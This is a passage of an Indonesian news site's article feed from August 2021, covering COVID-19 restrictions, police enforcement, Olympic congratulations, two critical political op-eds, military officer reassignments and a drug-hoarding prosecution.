Sembahyang Kubur dan ritual keagamaan pada saat Sembahyang Leluhur atau lebih di kenal dengan nama Sembahyang Kubur tanggal 8 hingga 22 Agustus 2021. Apalagi ujar Susanto, saat ini Kalbar khususnya Kota Pontianak belum lama ini menerapkan PPKM Darurat dikarenakan masuk zona merah penyebaran COVID-19, dan saat ini dilanjutkan dengan penerapan PPKM Level 4, maka hal itu perlu dukungan semua lapisan masyarakat termasuk warga Tionghoa agar penanganan COVID-19 di Kalbar bisa lebih maksimal lagi. "Terkait itu juga kami telah menyurati 62 yayasan atau perkumpulan yang bernaung di Yayasan Bhakti Suci agar dapat mengindahkan SE Gubernur Kalbar tersebut. Dan memberikan imbauan kepada warga Tionghoa yang ada di luar untuk tidak datang ke Kalbar untuk melaksanakan Sembahyang Kubur saat pandemi ini," katanya. Hal itu kata Susanto sebagai dukungan kepada pemerintah agar pandemi COVID-19 di Kalbar tidak semakin tinggi. Apalagi saat ini banyak varian-varian baru virus corona, yang penyebarannya lebih cepat dan bisa sangat berbahaya bagi masyarakat Kalbar yang kemungkinan dibawa masuk oleh para warga yang datang dari berbagai wilayah di Indonesia. "Kami sangat mengerti dan memahami, walaupun harus mengambil langkah atau kebijakan yang tidak populer oleh Gubernur Kalbar itu, guna mencegah masuknya varian-varian baru masuk ke wilayah Kalbar, salah satunya dengan melarang sementara dilakukannya Sembahyang Kubur. Dan kami sangat mengapresiasi kebijakan tidak populer Gubernur Kalbar itu demi keamanan, kesehatan dan keselamatan seluruh masyarakat kita di Kalbar ini," ujarnya. Menurutnya, keberanian Gubernur Kalbar ini seharusnya perlu didukung oleh semua pihak. Ia yakin dengan kebersamaan semua pihak wilayah Kalbar terutama Kota Pontianak dan sekitarnya yang saat ini sudah mulai membaik dapat terus diupayakan bersama dalam menekan turunnya penyebaran virus corona agar wilayah Kalbar dapat segera pulih, normal seperti sediakala. (sws)

Polresta Surakarta Amankan Belasan Warga Pesta Minuman Keras

Solo, FNN - Kepolisian Resor Kota Surakarta, Jawa Tengah, mengamankan belasan warga berpesta minuman keras di warung angkringan Pasar Depok Manahan Banjarsari dalam operasi yustisi pelaksanaan pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4. Tim gabungan melakukan patroli untuk memperkuat operasi yustisi pelaksanaan PPKM level 4 di Solo dengan mengamankan 11 warga berpesta minuman keras dan kini sedang diperiksa di Malpolresta Surakarta bersama barang bukti, kata Kepala Satuan Samapta Polresta Surakarta Kompol Sutoyo, di Solo, Rabu. Petugas mengamankan 11 warga, dua di antaranya perempuan dan sejumlah barang bukti berupa minuman keras, antara lain lima botol merek Kawa-kawa, tiga botol merek Anggur Hitam, dan 12 merek Kawa-kawa kosong. Pengamanan 11 warga tersebut berawal dari laporan masyarakat yang menyebutkan adanya kelompok pemuda yang berkerumun sedang berpesta minuman keras di warung angkringan Pasar Depok Manahan Banjarsar pada Selasa (3/8), sekitar pukul 21.30 WIB. "Kami langsung menuju lokasi,dan ternyata benar ada sekelompok pemuda sedang pesta minuman keras," kata Sutoyo. Petugas gabungan langsung mengamankan 11 warga, dua di antaranya perempuan dan beberapa botol minuman keras sebagai barang bukti untuk dibawa ke Mapolresta Surakarta guna diperiksa dan proses sidang tindak pidana ringan (tipiring). Pada kesempatan itu, ia mengimbau masyarakat tetap menjaga protokol kesehatan dengan memakai masker, mencuci tangan, menjaga jarak, mengurangi mobilitas, menjauhi kerumunan, dan tidak mengadakan makan bersama. Karena Kota Solo masih melaksanakan PPKM level 4 untuk menekan angka penularan COVID-19. Sementara itu, Kepala Polresta Surakarta Kombes Pol Ade Safri Simanjuntak Polresta Surakarta sebelumnya mengimbau masyarakat untuk tidak melakukan kegiatan yang berpotensi menimbulkan kerumunan menjelang perayaan HUT ke-76 Kemerdekaan Republik Indonesia (RI) pada 17 Agustus. Menurut Kapolres, Kota Surakarta masih menerapkan PPKM level 4 dimana sektor kegiatan dibatasi, baik jam operasional maupun pengunjungnya. Karena itu, katanya, menjelang perayaan HUT Kemerdekaan RI pada 17 Agustus pihaknya mengimbau masyarakat tidak melakukan kegiatan yang berpotensi menimbulkan kerumunan. Kapolres berharap masyarakat bersabar dalam situasi pandemi ini, tetap mematuhi protokol kesehatan (prokes). "Mari kita prihatin terlebih dahulu tanpa mengurangi esensi dari peringatan atau perayaan 17 Agustus. Namun kegiatan yang berpotensi menimbulkan kerumunan agar dihindari," kata Kapolresta. (sws)

Wapres Berterima Kasih Kepada Kontingen Indonesia di Olimpiade 2020

Jakarta, FNN - Wakil Presiden Ma’ruf Amin menyampaikan terima kasih dan bangga kepada seluruh atlet Indonesia yang bertanding di Olimpiade Tokyo 2020 yang disampaikan langsung melalui panggilan video kepada Chef de Mission Indonesia Rosan P. Roeslani, Selasa (3/8). "Saya ingin mengucapkan terima kasih atas nama bangsa, atas nama negara, dan atas perjuangan kalian semua," kata Wapres dalam keterangan resmi Setwapres, Rabu. Dalam panggilan video tersebut, Wapres berkesempatan berbincang langsung dengan atlet angkat besi Rahmat Erwin Abdullah, atlet bulu tangkis Anthony Sinisuka Ginting, dan pasangan ganda putri bulu tangkis Greysia Polii-Apriyani Rahayu. "Ginting, selamat ya Ginting. Greys, Apri juga selamat. Di Indonesia semua bangga atas prestasi kalian di sana," kata Wapres. Wapres juga terharu atas prestasi atlet Indonesia di Olimpiade Tokyo 2020 yang berlangsung menjelang Hari Ulang Tahun (HUT) ke-76 Kemerdekaan Republik Indonesia. "Pada saat kita sedang merayakan 17 Agustus, di saat kita sedang mengalami pandemi, tetapi para atlet kita terutama di bulu tangkis, kemudian juga angkat besi, kami menyampaikan terima kasih semuanya. Saya merasa terharu atas prestasi kalian di Olimpiade," jelasnya. Sementara itu, Rosan mengucapkan terima kasih atas perhatian Wapres Ma’ruf melalui panggilan video tersebut. Pihaknya terus melakukan evaluasi atas pertandingan berbagai cabang olahraga di Olimpiade. "Terima kasih pak Wapres, kebetulan kami memang sedang melakukan evaluasi secara terus menerus, kebetulan memang sedang kumpul. Insya Allah, besok (Rabu, 4/8) kami semua sudah kembali ke Jakarta, pak Wapres," kata Roslan. Tampak dalam panggilan video tersebut, Ketua Umum Komite Olimpiade Indonesia (KOI) Raja Sapta Oktohari, pelatih bulu tangkis ganda putri Eng Hian serta pelatih angkat besi Erwin Abdullah. Dalam gelaran Olimpiade Tokyo 2020, Indonesia meraih satu medali emas dari pasangan Greysia Polii-Apriyani Rahayi, satu medali perak dari Eko Yuli Irawan serta tiga medali perunggu dari Windy Cantika Aisah, Rahmat Erwin Abdullah, dan Anthony Ginting. (sws)

Ajakan Revolusi dari Purnawirawan TNI AD

Demi NKRI, jadilah bangsa yang revolusioner. Revolusi, Revolusi, Revolusi Oleh Sugengwaras BARANGKALI bulan Agustus adalah momen yang tepat untuk melakukan revolusi guna menuju dan mencapai peningkatan kecerdasan dan kesejahteraan rakyat dalam mewujudkan Indonesia adil makmur jaya sentosa. Tinggalkan pamer kekuatan, kekuasaan, kepintaran, dan keberanian sebagai penguasa, ahli atau praktisi yang berembel-embel Presiden, Menteri , Dewan yang terhormat, Profesor, Doktor, Jendral, Pangeran atau sejenisnya, jika dalam maindset-nya mengedepankan egosentris yang mengabaikan kepentingan rakyat. Mengingat dan belajar sejarah perjuangan bangsa, akan mendorong kita untuk membawa, menjaga dan memelihara negara ini sesuai rel cita-cita pendiri negara, yang tetap dan terus ditegakkan, dibina dan dipertahankan seiring lajunya kemajuan perkembangan iptek dan dinamika yang terjadi, yang mensyaratkan pimpinan negara yang mampu menahkodai negara ini penuh bijak, arif, waspada, peka peduli terhadap unsur-unsur negara (pemerintah, rakyat, wilayah, pengakuan negara lain) dan aspek aspek negara (IPOLEKSOSBUDAGHUKHANKAM). Bumi yang kita injak dan diami memaknakan simbol atau filosofi yang dalam, terkait rotasi bumi pada siklus perputaran 24 jam ,sehari semalam, yang melahirkan adanya siang dan malam serta revolusi bumi yang membuktikan siklus perputaran 365 hari atau setahun. Semua harus diiringi berpikir selaras dan seimbang yang menyandingkan antara sang pencipta dan yang diciptakan. Di sisi lain kita kerucutkan dengan peristiwa-peristiwa besar seperti revolusi bumi, industri, Perancis, Tiongkok, Kuba dan Amerika. Lantas bagaimana dengan revolusi di negara kita? Apakah penjajahan sebelum kemerdekaan mencerminkan keuletan dan ketahanan menderita bangsa Indonesia? Atau simbol kebodohan bangsa Indonesia? Yang jelas perjuangan dan pengorbanan besar bangsa Indonesia, pemboman Hiroshima Nagasaki dan turun tangannya Sang Mahakuasa ikut terkait di dalamnya. Fakta perjuangan dan pengorbanan besar senantiasa dihadapkan pada tantangan yang besar, sulit, dan penuh risiko. Bermimpilah, kehadiran pandemi Covid - 19, vaksinasi dan faktor faktor lain, bagaikan penjajahan bangsa asing saat sebelum Indonesia merdeka. Kini kita tarik dan fokuskan lebih mengerucut dan khusus yang terjadi pada era Joko Widodo. Sandingkan dan bandingkan dari situasi dan kondisi unsur dan aspek negara di atas, ketika pada era-era sebelumnya, yang pasti senantiasa ada plus minusnya. Dari pemikiran dan pandangan kita masing-masing akan bisa melihat, mendengar, dan merasakan tentang sistim pemerintahan dan jalannya roda pemerintahan, apakah mencerminkan pemerintahan yang sejalan dengan pikiran rakyat atau justru pemerintah yang mendzolimi rakyat? Selanjutnya jawaban ini akan melahirkan pemikiran atau pandangan revolusi. Semua pihak, baik pemerintah terutama para aparat negara lebih khusus para penegak hukum dan rakyat harus sadar serta paham tentang pentingnya sebuah revolusi, sehingga tidak lantas mengedepankan emosi, alergi, paranoid, trauma, panik tanpa dasar hukum yang jelas, memaknakan revolusi sebagai wujud tindakan melawan pemerintah bahkan perbuatan makar, yang akhirnya brutal, main tangkap, tahan, pidana yang kebablasan, menabrak protap atau prosedur hukum yang menimbulkan kegaduhan di sana-sini. Juga rakyat harus sadar dan paham tentang pengertian revolusi itu sendiri. Revolusi adalah perubahan cepat, yang mencakup sosial dan atau ketatanegaraan, yang direncanakan atau tidak direncanakan, yang dilakukan melalui cara-cara kekerasan atau tidak melalui cara-cara kekerasan, bisa kecil, bisa besar, sesuai yang dikehendaki atau tidak sesuai yang dikehendaki, yang bertujuan mengubah struktur dan atau proses penyelenggaraan jalannya roda pemerintahan. Berangkat dari sinilah, demi terwujudnya NKRI yang lebih baik, maka dengan tidak mengabaikan rasa hormat atas kebaikan, juga tidak melupakan atas ikut campur tangannya negara lain yang membuat NKRI tidak kondusif, kita berharap terjadi revolusi positif dan membangun, guna keluar dari belenggu dan himpitan penderitaan lahir batin akibat kurang peka dan pedulinya pemerintah terhadap suara rakyat terkait rasa keadilan dan penegakan hukum. Dengan harapan, dilakukan sebaik-baiknya, setertib-tertibnya, seaman- amannya, terencana, terkoordinir, terpadu dan terkendali, tanpa ada hasutan, gangguan dan provokasi, fokus pada tujuan, untuk kepentingan rakyat, agama bangsa dan NKRI. Hindari sabotase, penyesatan, pengelabuhan, pengkhianatan, adu domba dan sejenisnya. Pedomani dan pegang prosedur hukum yang ada hindari tumpah darah sesama bangsa. Merdeka!!! Penulis adalah Pemerhati Pertahanan dan Keamanan NKRI.

Semi Lockdown, Presiden Jokowi Jangan Kelewat Ngawurlah

Maret 2020, tepatnya tanggal 31 Maret Presiden Joko Widodo menerbitkan Keputusan Presiden Nomor 11 Tahun 2020. Heading Kepres ini adalah Penetapan Kedaruratan Kesehatan Masyarakat CoronaVirus Disease 2019 COVID-19. Diktumnya berisi dua hal. Pertama, pernyataan tentang Covid-19 sebagai jenis penyakit yang menimbulkan kedaruratan kesehatan masyarakat. Kedua, pernyataan tentang penanganan Covid-19 wajib dilakukan sesuai peraturan perundangan. Kepres inilah yang mengawali tindakan pemerintahan Presiden Jokowi mengurus Covid. Kepres itu dikeluarkan bersamaan dengan diterbitknnya PP Nomor 21 Tahun 2020 Tentang Pembatasan Sosial Berskala Besar (PSBB). Kala itu covid-19 telah merajalela. Sialnya penanganannya tidak cukup menjanjikan harapan. Disana-sini bermunculan masalah demi masalah. Sebabnya Kepres ini tidak mengatur lembaga penanganan. Kelembagaannya dibuat belakangan. Kepres Nomor 7 Tahun 2020 tentang Gugus Tugas Percepatan Penanganan Covid, diterbitkan tanggal 13 Maret 2020 mengatur kelembagaan dimaksud. Seminggu setelah itu, Presiden kembali menerbitkan Kepres Nomor 9 Tahun 2020 Tentang Gugus Tugas Percepatan Penanganan Corona Virus -2019. Kepres ini diterbitkan tanggal 20 Maret 2020. Tidak fokus. Karena bukan Menteri Kesehatan yang diangkat menjadi Ketua, tetapi Menteri Kordinator Bidang Pembangunan Manusia dan Kebudayaan. Ketua dibantu dua wakil ketua. Kedua wakil ketua itu adalah Menko Polhukam dan Menteri Kesehatan. Tragis, urusan kesehatan diserahkan kepada organ non kesehatan. Sungguh tercela. Salah urus ini menghadirkan keraguan besar tentang keberhasilannya. Rakyat dibatasi pergerakannya. Tragis, warga negara asing, khususnya tenaga kerja China, negeri yang darinya Covid-19 berawal, dibiarkan terus berdatangan ke Indonesia. Menjaga performa pertumbuhan ekonomi, begitu yang disajikan secara luas justru menemui akhir yang pahit. Postur ekomomi dalam pandangan ekonom kredibel, misalnya Rizal Ramli, Didik Rachbini, dan Faisal Basri tak melihat kebaikan yang dihasilkan dari kebijakan double goal itu untuk cegah covid dan menjaga ekonomi. Buruknya kedua keadaan itu, membawa Presiden memasuki meja kebijakan. Presiden mengeluarkan kebijakan baru. Presiden membentuk Peraturan Presiden Nomor 82 Tahun 2020 Tentang Komite Penanganan Corona Virus Disease 2019 dan Pemulihan Ekonomi Nasional. Kepres ini diterbitkan tanggal 20 Juli 2020. Melalui Perpres yang terlambat itu, Presiden membentuk satu komite dan dua satuan tugas. Komite dan satuan tugas itu adalah (a) Komite Kebijakan. (b) Satuan Tugas Penanganan Covid-19 dan (c) Satuan Tugas Pemulihan dan Transformasi Ekonomi Nasional. Kebijakan ini baru diambil setelah lima bulan Indonesia diterpa pandemi. Efeknya terhadap terhadap postur kesehatan masyarakat dan keadaan ekonomi, jelas buruk. Dengan argumen pembenar sehebat apapun, kebijakan ini jelas menyepelekan kredit rakyat. Dalam kajian tata negara, hal ini berkualifikasi sebagai penghancuran kepercayaan rakyat atau public trust. Kajian tata negara memberi kualifikasi tindakan itu sebagai perbuatan tercela. Tercela Secara Konstitusi Tak mengherankan pandemi terus membara dan ekonomi menjauh dari baik. Awal Juli 2021 Covid-19 menggila. Orang mati dimana-mana. Rumah sakit tak cukup tersedia untuk orang sakit. Oksigen tak diduga mencekik rumah sakit, karena kelangkaannya. Presiden merespon keadaan itu cukup menarik. Tidak seperti respon pertama, kali ini, tidak dibuat dalam Kepres. Setelah dapat masukan dari menteri, ahli kesehatan dan kepala daerah saya memutuskan memberlakukan PPKM darurat sejak 3 Juli hingga 20 Juli 2021 khusus untuk Jawa Bali," kata Jokowi (CNBCindonesia 1 Juli 2021). Sungguh tercela Presiden. Keputusan itu tidak diberi bentuk. Apalagi berbasis UU Nomor 6 Tahun 2018. Tercela dilaksanakan, dengan menerbitkan Instruksi Menteri, terlepas siapapun menteri yang menerbitkan instruksi itu. Apa itu PPKM darurat? Apa dasarnya? Samakah dengan karantina wilayah? Samakah dengan PSBB? Jawabannya tidak. Konsep ini sepenuhnya merupakan kreasi keliru yang patal. Suka-suka Presiden saja. Menariknya setelah hampir sebulan berjalan, Presiden memberi pernyataan atas kebijakannya itu, yang harus diakui keliru. "Lockdown itu artinya tutup total. Kemarin yang namanya PPKM darurat itu namanya semi lockdown. Itu masih semi saja, saya masuk kampung, masuk daerah, semuanya menjerit untuk dibuka," kata Jokowi, Jumat (CNBCIndonesia, 30/7/2021). Presiden, dengan pernyataannya itu, jelas hendak meremehkan hukum yang menjadi kewajibannya untuk ditegakan selurus-lurusnya dan seadil-adil-adilnya. Pernyataan Presiden itu menandai Presiden, bukan hanya tidak memahami UU Nomor 6 Tahun 2018 yang turut dibentuknya itu, tetapi lebih dari itu. UU Nomor 6 tahun 2018 hanya mengenal Karantina Wilayah dan Pembatasan Sosial Berskala Besar. UU ini tidak mengenal konsep semi lockdown Presiden. UU ini tidak menyerupakan, sebagian atau seluruhnya, karantina Wilayah dengan PSBB. Apalagi dengan semi lockdown. Suka atau tidak, kebijakan ini tidak memiliki rasio konstitusional. Sukar sekali untuk tidak menunjuk tindakan Presiden itu berdimensi tercela secara konstitusi. Untuk alasan kemanfaatan secanggih apapun, kebijakan yang berakibat menyengsarakan rakyat pada hampir semua aspek, logis dikualifikasi perbuatan tercela. Bebebasan orang bergerak dibatasi dimana-mana. Padahal ini hanya satu kebijakan melalui Instruksi Menteri. Bukan perintah UU. Batasi kebebasan orang, padahal tidak sedang dilakukan karantina Wilayah, juga tak sedang diterapkan PSBB. Jutaan vaksin yang tak dapat digunakan. Nilai uang yang hilang akibat kegagalan vaksin terjadi di tengah hutang yang terus membengkak, memiliki dimensi perbuatan tercela Presiden. Hal tercela lainnya yang telanjang, hampir seratus ribu nyawa mati di tengah kebijakan ini. Terlepas jumlahnya, tenaga kesehatan mati dimana-mana. Wajar menilai ini sebagai akibat langsung dari kebijakan yang tak kredibel. Bukan PSBB, bukan pula Karantina Wilayah. Tetapi yang teridentifikasi melanggar protokol kesehatan dipidana. Orang juga diberi sanksi administratif. Mengaitkan sertifikat vaksin dengan kebebasan bergerak, bepergian, jelas salah dalam konteks konstitusi. Di Banyuwangi, Kades Temuguruh, Asmuni didenda Rp 48 ribu. Anggota DPRD Banyuwangi, Syamsul Arifin didenda Rp 500 ribu. Seorang tukang bubur di Tasikmalaya, dikenai hukuman denda hingga Rp 5 juta karena nekat berdagang di masa PPKM (RMol, 29/7/2021). Bansos mengharuskan kategorisasi warga negara di satu sisi. Di sisi lain bansos tidak dikenal dalam UU Nomor 6 Tahun 2018. Tentu ketika diterapkan karantina wilayah atau lockdown. Siapapun mereka, berduit atau tidak, semuanya menjadi subyek UU Nomor 6 Tahun 2018 pada penerapan karantina wilayah. Konsep “semi lockdown” yang konstruksi hukumnya asal-asalan oleh Presiden, tidak logis diterima secara konstitusional. Suka atau tidak, kebijakan itu tidak berbasis UU Nomor 6 Tahun 2018. Presiden harus diingatkan kebijakan jenis ini menandai Presiden menyerupakan eksistensinya dengan negara. Melaksanakan sebagian UU, dan mengabaikan sebagiannya, malah membuat sendiri tindakan pemerintahan tanpa dasar hukum, dengan akibat menyengsarakan rakyat, menandai sekali lagi, betapa tercelanya kebijakan ini. Beralasan untuk menimbang perbuatan ini berdasarkan pasal 7A UUD 1945. Perbuatan tercela, menurut kajian tata negara universal, tidak dapat diserupakan, dan tidak memiliki akar pidana. Perbuatan ini, berkarangka jamak. Awalnya perbuatan maladministrasi, sebelum akhirnya merujuk pengingkaran terhadap kepercayaan masyarakat. Tidak ada ketidakpercayaan masyarakat, kalau tidak pernah terjadi salah urus pada urusan pemerintahan. Sayangnya, DPR yang telah terlihat sejauh ini sebagai sub-ordinat Presiden, menjadi penghalang terbesar untuk mempertimbangkan tindakan tata negara, menyelidiki “kualifikasi tindakan penanganan covid ini” dalam dimensi perbuatan tercela. Inilah harga politik yang mendekorasi postur tata negara dan politik mutakhir.

Mutasi Jabatan di Lingkungan TNI, Brigjen Tri Budi Utomo Jadi Danpaspampres

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto kembali melakukan mutasi dan promosi jabatan Perwira Tinggi (Pati) TNI sejumlah jabatan strategis, salah satunya jabatan Komandan Pasukan Pengamanan Presiden (Danpaspampres). Siaran pers dari Puspen TNI yang diterima di Jakarta, Selasa, menyebutkan, Danpaspampres yang dijabat oleh Mayjen TNI Agus Subiyanto akan digantikan oleh Brigjen TNI Tri Budi Utomo, yang sebelumnya menjabat Wadanjen Kopassus. Sementara Mayjen TNI Agus Subiyanto akan menjabat sebagai Pangdam III/Siliwangi. Kabidpenum Puspen TNI Kolonel Laut (KH) Edys Riyanto mengatakan, mutasi jabatan itu berdasarkan Surat Keputusan Panglima TNI Nomor Kep/684/VIII/2021 tanggal 2 Agustus 2021 tentang pemberhentian dari dan pengangkatan dalam jabatan di lingkungan Tentara Nasional Indonesia. Dalam SK Panglima TNI itu telah ditetapkan mutasi dan promosi jabatan 60 Perwira Tinggi (Pati) TNI terdiri dari 31 Pati TNI AD, 13 Pati TNI AL dan 16 Pati TNI AU. Edys menyebutkan, mutasi dan promosi jabatan Pati TNI itu dalam rangka memenuhi kebutuhan organisasi dan pembinaan karier serta mengoptimalkan pelaksanaan tugas-tugas TNI yang semakin kompleks dan dinamis. Sebanyak 31 Pati TNI AD yang dimutasi, antara lain, Letjen TNI Agus Rohman dari Pangkogabwilhan III menjadi Pati Mabes TNI AD (dalam rangka pensiun), Mayjen TNI Jeffry Apoly Rahawarin dari Pangdam XVI/Ptm menjadi Pangkogabwilhan III, Mayjen TNI Bambang Ismawan dari Asintel Kasad menjadi Pangdam XVI/Ptm, Mayjen TNI Suko Pranoto dari Wairjenad menjadi Asintel Kasad, Mayjen TNI Nugroho Budi Wiyanto dari Pangdam III/Slw menjadi Irjenad, Mayjen TNI Agus Subiyanto dari Danpaspampres menjadi Pangdam III/Slw, Brigjen TNI Tri Budi Utomo dari Wadanjen Kopassus menjadi Danpaspampres. Kolonel Inf Deddy Suryadi dari Danrem 074/Wrt (Surakarta) Kodam IV/Dip menjadi Wadanjen Kopassus, Mayjen TNI Agus Yuniarto dari Kaskogabwilhan II menjadi Pati Mabes TNI AD (dalam rangka pensiun), Brigjen TNI Muhammad Saleh Mustafa dari Kasdam Jaya menjadi Kas Kogabwilhan II, Brigjen TNI Bobby Rinal Makmun dari Asops Kaskogabwilhan II menjadi Kasdam Jaya, Brigjen TNI Sachono dari Widyaiswara Bid. Nik Akmil menjadi Asops Kaskogabwilhan II, Brigjen TNI Muhammad Zamroni dari Kasdam II/Swj menjadi Widyaiswara Bid. Nik Akmil, Brigjen TNI Gumuruh W dari Danrem 064/MY (Serang) Kodam III/Slw menjadi Kasdam II/Swj, Brigjen TNI Yuniarto dari Dankorsis Seskoad menjadi Danrem 064/MY (Serang) Kodam III/Slw. Brigjen TNI Bagus Antonov Hardito dari Danrem 133/NW (Gorontalo) Kodam XIII/Merdeka menjadi Dankorsis Seskoad, Kolonel Inf Amrin Ibrahim dari Irutum It Kostrad menjadi Danrem 133/NW (Gorontalo) Kodam XIII/Merdeka, Brigjen TNI Agustinus dari Pa Sahli Tk. II Wassus Sahli Bid. Wassus dan LH Panglima TNI menjadi Pati Mabes TNI AD (dalam rangka pensiun), Brigjen TNI Tiarsen Buaton dari Tua STHM Ditkumad menjadi Pati Mabes TNI AD (dalam rangka pensiun), Brigjen TNI Bramantyo Andi Susilo dari Dirjianbang Kodiklatad menjadi Pati Mabes TNI AD (dalam rangka pensiun), Brigjen TNI Tri Nugraha Hartanta dari Kasdam VI/Mlw menjadi Dirjianbang Kodiklatad, Brigjen TNI Ibnu Bintang Setiawan dari Danrem 072/Pmk (Yogyakarta) Kodam IV/Dip menjadi Kasdam VI/Mlw dan Kolonel Inf Afianto dari Kasrem 072/Pmk (Yogyakarta) Kodam IV/Dip menjadi Danrem 072/Pmk (Yogyakarta) Kodam IV/Dip. Brigjen TNI Amrizen dari Kapoksahli Pangdam IM menjadi Pati Mabes TNI AD (dalam rangka pensiun), Kolonel Inf Primadi Saiful Sulun dari Kasrem 051/Wkt (Jakarta Timur) Kodam Jaya menjadi Kapoksahli Pangdam IM, Mayjen TNI Minan Sinulingga dari Sahli Menhan Bid. Sos Kemhan menjadi Pati Mabes TNI AD (dalam rangka pensiun), Mayjen TNI Gustav Agus Irianto Kusomowibowo dari Agen Madya pada Staf Bid. Pertahanan dan Keamanan BIN menjadi Pati Mabes TNI AD (dalam rangka pensiun), Brigjen TNI Agus Yeni Ruddyanto Agustinus dari Dirum Pussenif Kodiklatad menjadi Pati Mabes TNI AD (Meninggal Dunia), Brigjen TNI R Agus Renaldi Kusuma dari Asintel Kogabwilhan II menjadi Pati Mabes TNI AD (Meninggal Dunia). 13 Pati TNI AL yaitu Laksdya TNI I Nyoman Gede Ariawan dari Pangkogabwilhan I menjadi Pati Mabes TNI AL (dalam rangka pensiun), Laksda TNI Muhammad Ali dari Asrena Kasal menjadi Pangkogabwilhan I, Laksda TNI Abdul Rasyid Kacong dari Pangkoarmada I menjadi Asrena Kasal, Laksda TNI Arsyad Abdullah dari Pangkolinlamil menjadi Pangkoarmada I, Laksma TNI Erwin S Aldedharma dari Kas Koarmada I menjadi Pangkolinlamil, Laksma TNI Eko Jokowiyono dari Danlantamal IX Amb Koarmada III menjadi Kas Koarmada I, Laksda TNI Benny Rijanto Rudi S dari Dosen Tetap Unhan menjadi Pati Mabes TNI AL (dalam rangka pensiun). Mayjen TNI (Mar) Bambang Suryo Aji dari Deputi Bidan Operasi Pencarian dan Pertolongan dan Kesiapsiagaan BNPP (Basarnas) menjadi Pati Mabes TNI AL (dalam rangka pensiun), Laksma TNI Sigit Setiyanta dari Staf Khusus Kasal menjadi Pati Mabes TNI AL (dalam rangka pensiun), Laksma TNI I Dewa Gede Nalendra dari Staf Khusus Kasal menjadi Pati Mabes TNI AL (dalam rangka pensiun), Mayjen TNI (Mar) Purnomo dari Pati Sahli Tk. III Bid. Hubint Panglima TNI menjadi Staf Khusus Panglima TNI dan Laksma TNI Adin Nurawaludin dari Direndal Giat Ops Deputi I Bid. Intelijen Luar Negeri BIN menjadi Pati Sahli Tk. III Bid. Hubint Panglima TNI. Sementara itu, 16 Pati TNI AU antara lain, Marsma TNI Lintong S Siregar dari Kaskogartap II/Bandung menjadi Pati Mabes TNI AU (dalam rangka pensiun), Marsda TNI Wisnu Dewantoko dari Koorsahli Kasau menjadi Pati Mabes TNI AU (dalam rangka pensiun), Marsma TNI Hari Mursanto dari Dirdik Kodiklatau menjadi Koorsahli Kasau, Marsma TNI Ian Fuady dari Pangkosek Hanudnas II Mks menjadi Dirdik Kodiklatau, Marsma TNI Farrid Hidayat H dari Kadislitbangau menjadi Waaskomlek Kasau (Validasi Orgas), Marsma TNI Oki Yanuar dari Kapuslitbang Iptekhan Balitbang Kemhan menjadi Kadislitbangau. Marsma TNI Jeffry Yandi dari Pati Sahli Kasau Bid. Kersalem menjadi Pati Mabes TNI AU (dalam rangka pensiun), Marsma TNI Asmawie Prawiro dari Staf Khusus Kasau menjadi Pati Sahli Kasau Bid. Kersalem, Marsma TNI Bayu Roostono dari Bandep Ur. Strategi Nasional Setjen Wantannas menjadi Pati Mabes TNI AU (dalam rangka pensiun), Marsda TNI Sri Mulyo Handoko dari TA Pengkaji Bid. Ketahanan Nasional Lemhannas menjadi Pati Mabes TNI AU (dalam rangka pensiun), Marsda TNI Sungkono dari Deputi Bid. Pengembangan Setjen Wantannas menjadi Pati Mabes TNI AU (dalam rangka pensiun), Marsma TNI Dony Rizal P. A. Lubis dari Dosen Tetap Unhan menjadi Pati Mabes TNI AU (Meninggal Dunia). (MD).

Polisi Periksa Direktur PT ASA Sebagai Tersangka Penimbun Obat

Jakarta, FNN - Penyidik Polres Metro Jakarta Barat memeriksa direktur PT. ASA berinisial Y sebagai tersangka kasus penimbunan obat bagi pasien Covid 19. "Benar, hari ini kita telah melakukan pemeriksaan terhadap direktur PT. ASA yakni saudara Y," kata Kanit Reskrim Polres Jakarta Barat Ajun Komisaris Fahmi Fiandri, Selasa, 3 Agustus 2021. Fahmi mengatakan, Y diperiksa selama hampir empat jam dari pukul 12.00 hingga pukul 16.00 WIB. Selama pemeriksaan, Y pun menerima 67 pertanyaan oleh penyidik terkait perannya dalam menimbun obat-obatan tersebut. Fahmi mengatakan, tersangka Y tidak ditahan melainkan dikenakan wajib lapor karena masalah kesehatan. "Untuk sekarang dia wajib lapor karena yang bersangkutan memiliki penyakit syaraf yang berdampak kepada kakinya," kata Fahmi. Fahmi mengatakan, nantinya masih akan memeriksa beberapa pihak terkait kasus penimbunan obat Covid 19 tersebut. Sebelumnya, dua petinggi PT ASA berinisial Y (58) dan S (56) ditetapkan sebagai tersangka dugaan tindak pidana penimbunan obat untuk pasien Covid 19. "Kami tetapkan dua tersangka pada kasus tersebut, yaitu direktur dan komisaris dari PT ASA ini. Dijerat dengan UU Perdagangan UU Perlindungan Konsumen dan UU Pengendalian Wabah Penyakit Menular," kata Wakil Kepala Polres Metro Jakarta Barat AKBP Bismo Teguh Prakoso di Jakarta, Jumat (30/7). Kedua tersangka tersebut menurut Bismo terbukti menimbun obat jenis Azithromycine Dehydrate, Flucadex dan beberapa obat lain di sebuah gudang Jakarta Barat. Bismo mengatakan, awalnya PT. ASA menerima persediaan obat tersebut sejak 5 Juni 2021 lalu. Namun, saat beberapa pelanggan meminta obat tersebut, pihak perusahaan kerap berdalih bahwa tidak memiliki stok obat. Alasan yang sama juga dikatakan pihak perusahaan kala melakukan rapat via daring dengan Badan Pengawas Obat dan Makanan (BPOM). "Dalam zoom meet menanyakan stok obat Covid itu yang selalu dijawab tidak ada dan tidak dilaporkan. Tidak kooperatif dalam pelaporan," ujar Bismo. Tersangka pun menimbun obat-obatan tersebut hingga harganya menjadi tinggi di pasaran. Tersangka memasang harga Rp 600.000 hingga Rp 700.000 per kotak. Padahal, umumnya hanya dijual Rp 7.500 per tablet. "Harga Rp 1.700 untuk satu tablet. Satu kotak isinya 20 tablet. Mereka jual dengan harga bisa mencapai Rp 600.000 sampai Rp 700.000 satu kotak," tutur Bismo. Polisi pun menyita 730 kotak obat Azythromycine Dehydrate dan beberapa obat lain yang diperuntukkan bagi pasien Covid 19. "Kami jerat tersangka dengan UU Perdagangan UU Perlindungan Konsumen dan UU Pengendalian Wabah Penyakit Menular. Ancaman hukuman lima tahun penjara," ungkap Bimo. (MD).

Komisi XI DPR Buang Sampah Calon Anggota BPK ke MA

